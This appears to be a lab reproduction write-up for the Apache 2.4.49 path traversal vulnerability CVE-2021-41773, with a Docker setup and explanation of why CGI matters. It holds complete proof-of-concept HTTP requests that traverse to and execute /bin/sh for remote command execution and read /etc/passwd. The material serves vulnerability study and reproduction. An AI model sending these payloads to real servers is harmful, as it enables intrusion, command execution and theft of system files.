1nhann/cve-2021-41773CVE-2021-41773 的复现
https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited
v2.4.49 Apache unique vulnerability, earlier versions do not have the ap_normalize_path function. This function was introduced in v2.4.49, and it is exactly this function that caused the directory traversal, which was fixed in v2.4.50.
https://github.com/1nhann/CVE-2021-41773
In this environment, the cgi module is loaded:
LoadModule cgi_module modules/mod_cgi.so
root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve
Inside the container: image-20211006213843476
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006210008166
Executed /bash.cgi from the root directory.
View Apache's documentation on CGI:
STDIN and STDOUT
Other communication between the server and the client happens over standard input (
STDIN) and standard output (STDOUT). In normal everyday context,STDINmeans the keyboard, or a file that a program is given to act on, andSTDOUTusually means the console or screen.When you
POSTa web form to a CGI program, the data in that form is bundled up into a special format and gets delivered to your CGI program overSTDIN. The program then can process that data as though it was coming in from the keyboard, or from a fileThe "special format" is very simple. A field name and its value are joined together with an equals (=) sign, and pairs of values are joined together with an ampersand (&). Inconvenient characters like spaces, ampersands, and equals signs, are converted into their hex equivalent so that they don't gum up the works. The whole data string might look something like:
name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey
That is to say, parameters passed via POST will be sent as stdin content to the accessed CGI program.
If accessing /bin/sh, then you can directly get a shell.
poc:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
data=;touch /tmp/pwned
image-20211006213421718
You can also directly echo the command execution result:
poc:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
echo Content-Type: text/plain; echo; id
If the cgi module is not loaded, the accessed file will not be executed:
#LoadModule cgi_module modules/mod_cgi.so
poc:
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006232521116